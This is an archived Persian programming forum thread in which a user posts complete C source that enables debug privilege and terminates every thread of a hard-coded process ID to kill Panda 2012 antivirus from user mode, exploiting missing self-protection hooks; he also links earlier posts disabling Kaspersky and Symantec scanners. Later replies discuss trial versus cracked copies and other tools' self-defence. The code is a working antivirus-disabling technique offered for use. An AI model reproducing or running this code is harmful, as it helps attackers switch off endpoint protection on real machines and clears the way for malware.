PDA

View Full Version : kill کردن Panda 2012 از User mode ( به همراه سورس کد :D )



r00tkit
چهارشنبه 14 دی 1390, 13:03 عصر
سلام

در ادامی
از کار انداختن kaspersky 2012 از user-mode
(http://barnamenevis.org/showthread.php?320952-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-kaspersky-2012-%D8%A7%D8%B2-user-mode)
و
از کار انداختن on-access اسکنر Symantec Endpoint Protectio (http://barnamenevis.org/showthread.php?321386-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-on-access-%D8%A7%D8%B3%DA%A9%D9%86%D8%B1-Symantec-Endpoint-Protection)n

گفتم بشینم Panda رو هم یه انالیز کنم ببینم چه خبره

نمی دونم self-protection چیز مهمی هستش یا نه ؟)

در کل اقایون panda انگار یادشون رفته OpenThread , ZwTherminateThread رو هوک کنن :))))

خوب کد زیر همه ی thread های انتی ویروس رو kill می کنه که باعث می شه کل پراسس kill بشه .

کد رو سریع نوشتم ( بعضی جا هاش مثال msdn هستش ) چون کد تکنیک خاصی و عجیبی نداره ( اصلا در کل چیزی نداره ) اینجا قرار می دم


پاندا واقعا چیز چرتی هستش این کار فقط برای شادی روح رفتگان بود و بس :))

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include<Psapi.h>
//#include<conio.h>
#pragma comment(lib,"psapi")
// Forward declarations:
BOOL ListProcessThreads( DWORD dwOwnerPID );
void printError( TCHAR* msg );



int SetDebugPriv()
{
HANDLE TokenHandle;
LUID lpLuid;
TOKEN_PRIVILEGES NewState;

if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
{
//failed
return 0;
}

if(!LookupPrivilegeValue(NULL, "SeDebugPrivilege" , &lpLuid))
{
//failed
CloseHandle(TokenHandle);
return 0;
}

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = lpLuid;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL, NULL))
{
//failed
CloseHandle(TokenHandle);
return 0;
}

CloseHandle(TokenHandle);
return 1;
}
void main( )
{
SetDebugPriv();
ListProcessThreads(1044);

/* HANDLE job=CreateJobObjectA(NULL,"M");
if(NULL==job)
{ return; printError("job");}

HANDLE p=OpenProcess(PROCESS_ALL_ACCESS,0,1948);
if(INVALID_HANDLE_VALUE==p)
{

return ;
}

char buffer[333];
if(GetModuleBaseNameA(p,NULL,buffer,sizeof(buffer) ))
printf("name is %s \n",buffer);
if(AssignProcessToJobObject(job,p))
{
printError("assign");return;
}
if(TerminateJobObject(job,0))
{
printError("kill");return;
}

CloseHandle(p);
CloseHandle(job);
*/
}

BOOL ListProcessThreads( DWORD dwOwnerPID )
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;

// Take a snapshot of all running threads
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( hThreadSnap == INVALID_HANDLE_VALUE )
{ printError("error\n");return( FALSE ); }

// Fill in the size of the structure before using it.
te32.dwSize = sizeof(THREADENTRY32 );

// Retrieve information about the first thread,
// and exit if unsuccessful
if( !Thread32First( hThreadSnap, &te32 ) )
{
printError( "Thread32First" ); // Show cause of failure
CloseHandle( hThreadSnap ); // Must clean up the snapshot object!
return( FALSE );
}

// Now walk the thread list of the system,
// and display information about each thread
// associated with the specified process
do
{
if( te32.th32OwnerProcessID == dwOwnerPID )
{
HANDLE thread=OpenThread(THREAD_ALL_ACCESS,0,te32.th32Thr eadID);
if(thread==INVALID_HANDLE_VALUE)
printError("open thread\n");
TerminateThread(thread,0);
}
}
while( Thread32Next(hThreadSnap, &te32 ) );

// Don't forget to clean up the snapshot object.
CloseHandle( hThreadSnap );
return( TRUE );
}



pid
بدین جنازه تحویل بگیرین :))


دوستان لطف می کنن به این سوال جواب بدن ؟
self-protection
یه انتی ویروس برای شما مهم هستش ؟ اگه هستش چه وِیژگی ای داشته باشه؟
GOLD
نظر نداری؟ :)

alamate_aoal
چهارشنبه 14 دی 1390, 14:55 عصر
تست ها رو روی نسخه های قفل شکسته انجام میدی؟ فرقی بین نسخه ی original و قفل شکسته وجود داره ؟

r00tkit
چهارشنبه 14 دی 1390, 15:12 عصر
سلام

چرا نگران من می شی؟

فرقی نداره ، من روی نسخه های 30 روزه تست می کنم ( self - protection مربوط به کرنل هستش )

__Genius__
پنج شنبه 27 بهمن 1390, 14:34 عصر
سلام .
RootkitUnhooker ، از تنها روشی که قابل Kill کردن بود (آخرین باری که بررسی کردم و نسخش هم یادم نمیاد) از موردی مشابه به همین روش (و نه یکسان) قابل Kill شده بود .
گرچه بر خلاف دیگر محصولات Self-Defense بسیار خوبی رو داره ... (نویسندش بیان کننده این موضوع هست ...)

r00tkit
پنج شنبه 27 بهمن 1390, 20:24 عصر
سلام
EP_X0FF
ادم خفنی هستش ؛ احتمالا نسخه ای که بررسی کردی خیلی قدیمی باشه
اخرین بار که یادمه یکی با FindWindow کیلش کرده بود :) اما الان کلاسش رندوم شده و...

__Genius__
جمعه 28 بهمن 1390, 00:32 صبح
خیلی ها توی اسمش 0 رو x جابه جا می گن:بامزه:
EP_X0FF
اتفاقاً پارسال بود که بطور کاملاً اتفاقی این روش رو روش تست کردم و به خودش هم گفتم ولی معتقد بود کمتر توی بدافزار ها این مدل کدها استفاده میشن (اینکه بر چه اساسی رو اشاره نکرد) ؛
بی ربط به تاپیک اما اسم این دوست روسمون اومد یه موردی رو بگم ، سراسر دنیا رو بگردید ، حرفه ای ترین افراد توی این فیلد روس ها هستن ، برنامه نویسی هسته و سطح پائین نقل و نبات هست براشون ، ما ایرانی ها رو ببینید چقدر درگیر دیتابیس هستیم ، به همین میزان اونها توی تولید بدافزار و برنامه نویسی سطح پائین فعال هستن :لبخندساده: ؛ متاسفانه خیلی وقت میبره که چنین بحث های پایه ای و مهمی بصورت اصولی توی ایران باز بشه.